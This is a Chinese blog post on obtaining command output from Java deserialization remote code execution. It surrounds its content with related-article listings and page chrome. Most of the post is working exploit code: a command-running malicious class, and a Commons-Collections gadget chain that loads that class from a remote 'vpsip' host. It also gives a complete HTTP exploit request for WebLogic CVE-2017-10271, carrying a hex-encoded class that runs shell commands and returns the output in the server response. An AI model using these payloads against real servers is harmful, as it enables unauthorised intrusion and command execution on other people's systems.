java反序列化RCE回显研究

Weblogic反序列化漏洞:从Java原理到RCE实战复现与防御 Java反序列化机制是分布式通信的基石,它允许将对象状态转换为字节流进行传输或存储。然而,其安全风险在于反序列化过程中会自动调用对象的readObject()方法,若攻击者能构造恶意序列化数据,就可能触发远程代码执行(RCE)。这一原理在Weblogic这类Java应用服务器上尤为危险,因其默认开启的T3、IIOP等服务使用Java原生序列化协议通信,极大扩展了攻击面。理解反序列化漏洞的利用链(Gadget Chain)构造,掌握从信息收集、载荷生成到协议封装的完整攻击流程,对于企业安全防护至关重要。本文通 阅读详情

总结一下常见反序列化RCE回显几种方式如下:

  1. a).使用java.net.URLClassLoader类,远程加载自定义类(放在自己服务器上的jar包),可以自定义方法执行。 
    b).在自定义类中,抛出异常,取得回显结果。 
    eg:Jboss报错返回命令执行结果。
  2. 利用defineClass加载byte[]返回Class对象,不用远程加载恶意类。
  3. 直接利用RCE将执行的命令写入服务器文件中,再次访问得到执行命令结果。

1、URLClassLoader加载远程恶意类,抛出异常回显

恶意类如下:

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.Socket;

public class R
{
    public R(String commond) throws Exception {
        reverseConn(commond);
    }

    public void reverseConn(String commond) throws Exception {

            //执行命令
            Process proc = Runtime.getRuntime().exec(commond);
            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null)
            {
                sb.append(line).append("\n");
            }
            String result = sb.toString();
            Exception e=new Exception(result);
            throw e;
    }
}

将恶意类打成jar包,把jar包放在服务器上。

javac R.java //先编译成class文件
jar -cvf R.jar R.class //打成jar包

采用Commons-Collections5 gadgets触发反序列化报错回显,运行如下代码:

package test;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class Test{
    public InvocationHandler getObject(final String command) throws Exception {
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[] { new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(java.net.URLClassLoader.class),
                // getConstructor class.class classname
                new InvokerTransformer("getConstructor",
                        new Class[] { Class[].class },
                        new Object[] { new Class[] { java.net.URL[].class } }),

                new InvokerTransformer(
                        "newInstance",
                        new Class[] { Object[].class },
                        new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
                                "http://vpsip/R.jar") } } }),
                // loadClass String.class R
                new InvokerTransformer("loadClass",
                        new Class[] { String.class }, new Object[] { "R" }),
                // set the target reverse ip and port
                new InvokerTransformer("getConstructor",
                        new Class[] { Class[].class },
                        new Object[] { new Class[] { String.class } }),
                // invoke
                new InvokerTransformer("newInstance",
                        new Class[] { Object[].class },
                        new Object[] { new String[] { command } }),
                new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
        InvocationHandler invo = (InvocationHandler) getFirstCtor(
                "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Retention.class, lazyMap);
        //generate object which implements specifiy interface
        final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
                .getClass().getClassLoader(), new Class[] { Map.class }, invo));

        final InvocationHandler handler = (InvocationHandler) getFirstCtor(
                "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Retention.class, mapProxy);
        setFieldValue(transformerChain, "iTransformers", transformers);
        return handler;
    }
    public static Constructor<?> getFirstCtor(final String name)
            throws Exception {
        final Constructor<?> ctor = Class.forName(name)
                .getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }
    public static Field getField(final Class<?> clazz, final String fieldName)
            throws Exception {
        Field field = clazz.getDeclaredField(fieldName);
        if (field == null && clazz.getSuperclass() != null) {
            field = getField(clazz.getSuperclass(), fieldName);
        }
        field.setAccessible(true);
        return field;
    }
    public static void setFieldValue(final Object obj, final String fieldName,
                                     final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static void main(final String[] args) throws Exception {
        final Object objBefore = Test.class.newInstance()
                .getObject("ipconfig");
        //deserialize(serialize(objBefore));

        File f = new File("E:\\payloadsfinal.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(objBefore);
        out.flush();
        out.close();

        FileInputStream fis = new FileInputStream("E:\\payloadsfinal.bin");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        ois.readObject();
        ois.close();
    }
}

命令回显效果如下,jboss命令回显就是这个原理:

2、 defineClass加载byte[]返回Class对象,利用容器内部response回显

研究weblogicCVE-2017-10271回显时,从 这里 找到回显的poc,接下来看看这个POC如何构造的

详细POC如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 5126

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
                    <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
                </void>
                <void class="org.mozilla.classfile.DefiningClassLoader">
                    <void method="defineClass">
                        <string>com.supeream.exploits.XmlExp</string>
                        <object idref="cls"></object>
                        <void method="newInstance">
                            <void method="say" id="proc">
                                <string>dir</string>
                            </void>
                        </void>
                    </void>
                </void>
                <void class="java.lang.Thread" method="currentThread">
                    <void method="getCurrentWork">
                        <void method="getResponse">
                            <void method="getServletOutputStream">
                                <void method="writeStream">
                                    <object idref="proc"></object>
                                </void>
                                <void method="flush"/>
                            </void>
                            <void method="getWriter"><void method="write"><string></string></void></void>
                        </void>
                    </void>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

defineClass去加载com.supeream.exploits.XmlExp恶意类,恶意类代码已经Hex编码了。还原一下XmlExp代码,先对恶意类代码解码->bytes[]->写入1.class.再用idea/jd-gui反编译。

package weblogic;

import org.mozilla.classfile.DefiningClassLoader;
import weblogic.jdbc.wrapper.Array;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Arrays;

import static weblogic.utils.Hex.hexValueOf;

public class hh {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, IOException {
        System.out.println("hahah");
        byte[] bt = fromHexString2("0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034");
        File file = new File("1.class");
        FileOutputStream fos = new FileOutputStream(file);
        fos.write(bt);
        fos.close();
        //        System.out.println(Arrays.toString(bt));  byte
//        DefiningClassLoader cls = new DefiningClassLoader();
//        Class cl =cls.defineClass("com.supeream.exploits.XmlExp",bt);
//        System.out.println(cl);
//        System.out.println(cl.getMethods());//
//        Method m = cl.getMethod("say",String.class);
//        Object dir = m.invoke(cl.newInstance(), "calc");
    }
    public static byte[] fromHexString1(byte[] barray, int len) {
        int i = 0;
        if (barray[0] == 48 && (barray[1] == 120 || barray[1] == 88)) {
            i += 2;
            len -= 2;
        }

        int outlen = len / 2;
        byte[] out = new byte[outlen];

        for(int j = 0; j < outlen; ++j) {
            out[j] = (byte)(hexValueOf(barray[i++]) << 4 | hexValueOf(barray[i++]));
        }

        return out;
    }
    public static byte[] fromHexString2(String hexString) {
        byte[] bytes;
        try {
            bytes = hexString.getBytes("US-ASCII");
        } catch (UnsupportedEncodingException var4) {
            bytes = new byte[hexString.length()];

            for(int i = 0; i < bytes.length; ++i) {
                bytes[i] = (byte)hexString.charAt(i);
            }
        }
        System.out.println(bytes);
        return fromHexString1(bytes, bytes.length);
    }

}

拿到XmlExp类代码如下:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.supeream.exploits;

import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;

public class XmlExp {
    public XmlExp() {
    }
    public InputStream say(String cmd) throws Exception {
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        List<String> cmds = new ArrayList();
        if (cmd.startsWith("$NO$")) {
            cmds.add(cmd.substring(4));
        } else if (isLinux) {
            cmds.add("/bin/bash");
            cmds.add("-c");
            cmds.add(cmd);
        } else {
            cmds.add("cmd.exe");
            cmds.add("/c");
            cmds.add(cmd);
        }
        ProcessBuilder processBuilder = new ProcessBuilder(cmds);
        processBuilder.redirectErrorStream(true);
        Process proc = processBuilder.start();
        return proc.getInputStream();
    }
}

开始以为回显的原因是报错回显的,实际上不是,而是用到weblogic内部回显类进行回显,这也算是个骚思路了,这点是get到了。

分析下POC构造过程:

传入恶意类hex编码id设置为cls交给weblogic.utils.Hex.fromHexString类转换为byte[]----->org.mozilla.classfile.DefiningClassLoader类的defineClass方法传入com.supeream.exploits.XmlExp恶意类,通过newInstance方法实例化恶意类并调用say方法,传入dir命令id设置为proc交给weblogic内部回显类回显。实际对应代码如下操作。

DefiningClassLoader cls = new DefiningClassLoader();
Class cl =cls.defineClass("com.supeream.exploits.XmlExp",bt);
Method m = cl.getMethod("say",String.class);
Object dir = m.invoke(cl.newInstance(), "calc");

最后将回显结果交给weblogic容器的response回显,这块poc构造可以跟踪下正常处理回显是什么样的来构造。

Java反序列化漏洞深度剖析:从XML-RPC到RCE的攻击链与防御实践 Java反序列化是一种将字节流还原为对象的核心机制,广泛应用于远程通信和数据持久化。其原理在于通过ObjectInputStream读取序列化数据,并调用对象的readObject方法重建对象实例。然而,当反序列化过程处理不可信数据时,攻击者可能构造恶意序列化对象(Gadget Chain),利用类路径中危险类的链式调用(如Apache Commons Collections中的Transformer),最终触发任意代码执行,实现远程命令执行(RCE)。这种漏洞在Web应用、RPC服务等场景中危害极大,常通 阅读详情

相关推荐

Java反序列化漏洞实战:从原理到企业级应用RCE复现与防御

序列化与反序列化是Java中用于对象持久化和网络传输的核心机制,其原理是将对象状态转换为字节流以便存储或传输,并在需要时重建为内存对象。然而,当程序对不可信的数据源进行反序列化操作时,这一机制便可能成为严重的安全漏洞。攻击者通过精心构造的恶意序列化数据,可以触发目标服务器上特定类库中的利用链(Gadget Chains),在反序列化过程中执行任意代码,从而实现远程命令执行(RCE),直接危害服务器安全。这类漏洞因其隐蔽性强、利用链成熟(如著名的Apache Commons Collections链),常出现

weixin_28715953的博客 228

命令执行(RCE)与反序列化

命令执行(RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。): 分类: 远程系统命令执行exec()、system()、assert(): 设计者在编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。 涉及系统命令:assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号) .

赤赤三的博客 6320

SnakeYAML反序列化漏洞剖析:从YAML解析到RCE利用链

在Java生态中,数据序列化与反序列化是常见的数据交换机制,其核心原理是将数据结构或对象状态转换为可存储或传输的格式,反之亦然。这一机制在提升开发效率的同时,也引入了潜在的安全风险,尤其是当反序列化过程允许实例化任意类时,可能成为远程代码执行的入口点。从技术价值看,理解反序列化漏洞有助于构建更安全的应用程序,避免因基础组件使用不当导致严重安全事件。在应用场景上,配置解析、API数据交换和规则引擎等场景广泛使用YAML等格式,而SnakeYAML作为Java中处理YAML的主流库,其默认反序列化机制存在安全隐

mxdxm8899的专栏 560

[Java安全]—Tomcat反序列化注入回显内存马

在之前学的tomcat filter、listener、servlet等内存马中,其实并不算真正意义上的内存马,因为Web服务器在编译jsp文件时生成了对应的class文件,因此进行了文件落地。所以本篇主要是针对于反序列化进行内存马注入来达到无文件落地的目的,而的和可以直接获取,但是反序列化的时候却不能,所以回显问题便需要考虑其中。既然无法直接获取request和response变量,所以就需要找一个存储请求信息的变量,根据kingkk师傅的思路,在中找到了: 并且这两个变量是静态的,因此省去了获取对象实例

Sentiment的博客 1447

Java反序列化漏洞深度剖析:从原理到泛微E-Mobile 6.0 RCE实战

序列化与反序列化是Java中用于对象持久化和网络传输的核心机制,其原理是将对象状态转换为字节流以便存储或传输,并在需要时重建对象。然而,当程序对不可信的数据进行反序列化操作时,攻击者可能通过构造恶意序列化数据,触发目标类路径中存在的危险方法调用链,最终实现远程代码执行(RCE)。这项技术的安全价值在于揭示了企业级应用中,因依赖组件缺陷和输入验证缺失所导致的严重安全风险,常见于Web中间件、微服务通信及分布式应用场景。本文以典型的反序列化漏洞为例,结合ysoserial工具链和Apache Commons C

weixin_30376083的博客 389

最新网络安全-JDBC反序列化漏洞与RCE_jdbc rce,2024年最新整理几个重要的网络安全知识

可以看到执行语句后,在生成结果集时使用了ResultUtil的resultSetToMap函数,继续点击去,可以看到使用了getObject和readObject,而readObject就在反序列化时自动调用。以Greeting数据包为例分析,可以看到是一个基于TCP协议的应用层协议,MYSQL Protocol,点击可以看到是4a00 xxxx。Y4tacker师傅的脚本会读取a文件,没有的话就使用默认的,也能达到RCE的效果,这个在url中就不必指定user了。

2401_84248681的博客 569

Java 反序列化回显链研究:漏洞检测工程化

payload形式的命令执行,更适合于漏洞检测,如果多次代码执行,每一次的类加载都会存到jvm的永久区里,特别特别多的话可能会导致占满jvm内存。内存马适合用于做webshell。手动修改字节码的好处在于可以脱离jdk动态生成class。可以用于漏洞检测工具中,无需依赖java环境。相反在 Java 环境中,由于本身需要遵循 Java 的规则,让 “动态类名” 等特性变的不那么容易,恶意类名按限定名只加载一次是一个阻碍工程化漏洞检测的实际问题。

hackzkaq的博客 289

Log4j2 FilteredObjectInputStream:反序列化RCE的防线与绕过

Java反序列化漏洞一直是企业安全防护中的重点与难点,攻击者通过篡改序列化数据流,可在目标进程内执行任意代码。Log4j2 在修复 Log4Shell 时引入的 FilteredObjectInputStream,正是针对 ObjectMessage 反序列化场景设计的关键防线。它通过重写 resolveClass 方法,在类加载阶段对白名单之外的类进行拦截,从而阻止危险类进入后续反序列化流程。然而,数组类名、内部类以及动态代理等复杂类形态,给过滤逻辑带来了巨大挑战,白名单本身的不严谨也可能导致绕过风险。这

weixin_29323551的博客 66

网络安全深入学习第五课——热门框架漏洞(RCE— Apache Shiro 1.2.4反序列化漏洞)

----- 当程序在进行反序列化时,会自动调用一些函数,以PHP为例有__wakeup()、__destruct()等函数,Java中有readObject()方法等等,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。------ Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问。根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

p36273的博客 1199

Nacos 0day漏洞深度剖析:反序列化RCE原理、复现与防御实战

在微服务架构中,配置中心与服务注册中心是核心基础设施,其安全性至关重要。反序列化漏洞作为一种常见的高危安全风险,其原理在于应用程序在将外部传入的序列化数据(如JSON、XML)还原为内存对象时,未对数据内容进行充分校验,导致攻击者可通过精心构造的恶意数据链(Gadget Chain)触发任意代码执行(RCE)。这类漏洞的技术价值在于其危害性极高,常可导致服务器被完全控制,在配置管理、数据交换等应用场景中尤为危险。本文聚焦于近期曝出的Nacos配置中心后台权限RCE 0day漏洞,结合**反序列化**与**远

weixin_28716443的博客 360

JAVA反序列化漏洞浅析

目录 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 对象序列化和反序列范例 JAVA中执行系统命令 重写readObject()方法 Apache Commons Collections 反序列化漏洞payload JAVA Web反序列化漏洞的挖掘和利用 由于本人并非JAVA程序员,所以对JAVA方面的知识不是很懂,仅仅是能看懂而已。本文参照几位大佬...

谢公子的博客 1万+

深入探究网络安全:JDBC反序列化漏洞与远程代码执行(RCE)

Java开发环境:安装Java SDK以运行和编译JDBC相关代码。MySQL数据库服务器:用于正常的数据库操作,同时用于攻击演示的Fake MySQL Server。网络抓包工具:如Wireshark,用于捕获和分析MySQL协议数据包。

白帽黑客佳哥的博客 1729

linux下java反序列化通杀回显方法的低配版实现 - 先知社区1

故事的起因技术的难点故事的起因技术的难点实现细节指定端号获取socket对应的件描述符往件描述中写数据总结这给出获取socket件描述符我的个低配版思路及实现,

Shiro 550深度剖析:从硬编码密钥到反序列化RCE的“信任”链条

本文深入分析了Apache Shiro框架中的高危漏洞Shiro-550(CVE-2016-4437)。该漏洞源于Shiro≤1.2.4版本中RememberMe功能的硬编码AES密钥(kPH+bIxk5D2deZiIxcaaaA==),导致攻击者可构造恶意Cookie实现RCE。文章从代码审计角度,详细追踪了Cookie从解密到反序列化的完整调用链,重点剖析了AbstractRememberMeManager和CookieRememberMeManager等核心类的处理逻辑。

专注于网络安全攻防技术与安全运营(SecOps)实践。 1364

Cesium高效渲染海量GeoJSON数据的7种优化策略与实战解析

本文深入解析Cesium高效渲染海量GeoJSON数据的7种优化策略,包括瓦片化转换、LOD分级加载、数据简化等关键技术。通过实战案例展示如何解决渲染卡顿问题,提升矢量数据加载性能,实现流畅的60FPS交互体验。特别针对GeoJSON大数据量场景提供完整优化方案。

h0i1j2k3l的博客 934

AI智能体协作:构建更精准的公司破产预测模型

公司破产预测对于金融机构、投资者和监管部门等具有至关重要的意义。准确的破产预测可以帮助金融机构提前做好风险防范,避免贷款损失;投资者可以根据预测结果调整投资组合,降低投资风险;监管部门可以及时发现潜在的金融风险,采取相应的监管措施。然而,传统的公司破产预测模型往往存在精度不高的问题,无法满足实际需求。本研究的目的是利用AI智能体协作的方式,构建一个更精准的公司破产预测模型。通过将多个AI智能体的优势进行整合,充分挖掘公司财务数据、市场数据等多源数据中的信息,提高预测的准确性和可靠性。

2501_92132293的博客 1082

RCE漏洞攻防全解:从原理到实战

本文深入剖析远程代码执行(RCE)漏洞的原理、攻击手法和防御策略。文章首先明确RCE漏洞的定义,指出其通过恶意输入绕过系统防护执行任意代码的高危特性,并分析其四大成因:输入验证不足、危险函数滥用、逻辑设计缺陷和第三方组件风险。然后从操作系统层面详细解析Linux/Windows系统的命令注入技术,包括环境变量利用、通配符绕过等高级手法。接着构建完整的攻击链模型,涵盖信息收集到目标达成的9个阶段,提供Exchange服务器入侵等实战案例。

欢迎来到我的博客 2750

工程师职级胜任力框架

一、前言 尽管这些年国内的IT行业发展迅速,但是仍然欠缺一套比较综合性的面向工程师的职级胜任力框架,造成国内很多工程师大都一心只想成为技术大牛,而忽视了自己全方位的工程师职业素养和能力的培养。 最近我有幸读到了Circle CI公司分享的工程胜任力矩阵,发现这份文档就是一份比较贴合互联网研发型企业的工程师职级胜任力框架,于是我在它的基础上,重新整理出了一份更适合国内工程师阅读的《工程师职级胜任力框架》,并把它分享在波波的github站点上,希望这份文档对工程师的职业开发和成长有帮助。注,Circle CI.

架构师波波的专栏 6334

java反序列化例题分析

刚看名字狂喜,cc链刚学完,这不是简简单单,看完题目自闭,和cc链有关系,但不多,悲!

m0_73973498的博客 1010

PySpark机器学习生产化陷阱:跨节点依赖问题的7种解决方案

隐式依赖陷阱使用ldd解决方案:在基础镜像中预装和路径冲突终极解法依赖树瘦身技巧用conda-tree可减少40%环境体积PySpark机器学习生产化的核心矛盾在于分布式环境的确定性与灵活性不可兼得。轻量级方案(1-3)牺牲一致性换取灵活性重量级方案(4-6)牺牲灵活性换取确定性混合方案(7)针对特殊场景补充正如某AI平台架构师所言:“环境一致性不是技术问题,而是工程纪律问题选择适合团队当前阶段的方案,建立严格的依赖管理流程,才能让PySpark真正扛起生产环境的大旗。

datacanvas2426的博客 911

微生物测序分析LEfSe

LEfse分析定义 LEfse分析即LDA Effect Size分析,可以实现多个分组之间的比较,还进行分组比较的内部进行亚组比较分析,从而找到组间在丰度上有显著差异的物种(即biomaker);

宁生信 5万+

java反序列化与Apache CC链、fastjson反序列化的理解与研究

文章目录1. 前言2. 为什么会存在序列化技术2. 序列化 1. 前言 java反序列化是将一个序列化文件或者序列化数据进行还原处理。一个被序列化的数据的2进制数据特征是以aced0005开头,有点类似于exe文件都有PE头一样,具体如下所示: 序列化技术的出现,是为了方便数据保存与传输的。它将数据变成了字节的形式进行保存并便于通过socket进行传输。 2. 为什么会存在序列化技术 1、方便对象的保存 2、方便对象在网络上传输 网络上只能传输字节流数据,对象本是无法在网络上直接进行传输的。而序列化技术可

Shanfenglan's blog 2273

【Codex Sandbox 与审批机制:小白也能看懂的实用教程】

这篇教程介绍了Codex工具中的沙盒(Sandbox)和审批(Approvals)机制,帮助用户安全高效地使用Codex协作。沙盒限制Codex访问范围,审批机制则控制敏感操作权限。文章详细讲解了五种常见模式:最安全的安全只读浏览、只读非交互、仓库内编辑、Auto预设和不推荐的YOLO模式。还提供了新手使用路径建议、配置示例和实战场景范式,包括如何测试沙盒行为、不同系统下的实现方式以及常见问题解答。最后附上速查清单,帮助用户快速选择合适的权限组合。

zsr154278963的博客 6714

Log4J2 FilteredObjectInputStream绕过:从Log4Shell到反序列化RCE

Java反序列化安全一直是企业应用攻防的核心战场,原生ObjectInputStream在恢复对象时对类加载缺乏约束,攻击者可通过构造恶意字节流触发危险Gadget链,最终实现远程代码执行(RCE)。Log4Shell漏洞(CVE-2021-44228)正是借助Log4J2的Lookup机制,将JNDI注入与反序列化攻击结合,造成全球范围的严重威胁。为缓解风险,官方引入了FilteredObjectInputStream作为反序列化过滤器,通过类名黑名单尝试拦截JndiLookup等危险类,但其黑名单覆盖有

weixin_29314405的博客 219

PyTorch实战(25)——使用PyTorch构建DQN模型

深度Q网络 (Deep Q-learning Network, DQN) 在强化学习领域取得了巨大的成功和广泛的应用,PyTorch 结合 gymnasium 库为我们提供了强大的工具,支持在各种强化学习环境中测试不同类型的深度强化学习模型。在本节中,我们使用 PyTorch 框架构建使用卷积神经网络架构的 DQN 模型,模型通过自主学习掌握 Atari 经典游戏《Pong》的操作策略,最终实现击败电脑对手的竞技目标。

盼小辉丶的博客 3497

从0到1:OpenClaw 助力单元测试代码自动化与覆盖率飞升

OpenClaw 的横空出世,宛如一道曙光,照亮了这片黑暗的领域。它作为一款强大的本地 AI 助手,拥有着令人惊叹的能力。OpenClaw 能够深入理解代码的逻辑结构,自动分析代码中的各种功能和潜在的风险点,从而精准地生成高质量的单元测试代码。它就像是一位不知疲倦的测试专家,能够快速、准确地完成那些繁琐的测试编写工作,将开发者从重复劳动中解放出来,让他们能够将更多的精力投入到更具创造性和价值的工作中。

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 477
上一篇: Java编程学习-Java的主要就业方向
下一篇: 8年程序员被裁,以前工资15000,听到小公司老板开工资愣了
程序员林子
博客等级 码龄7年 369粉丝 149原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
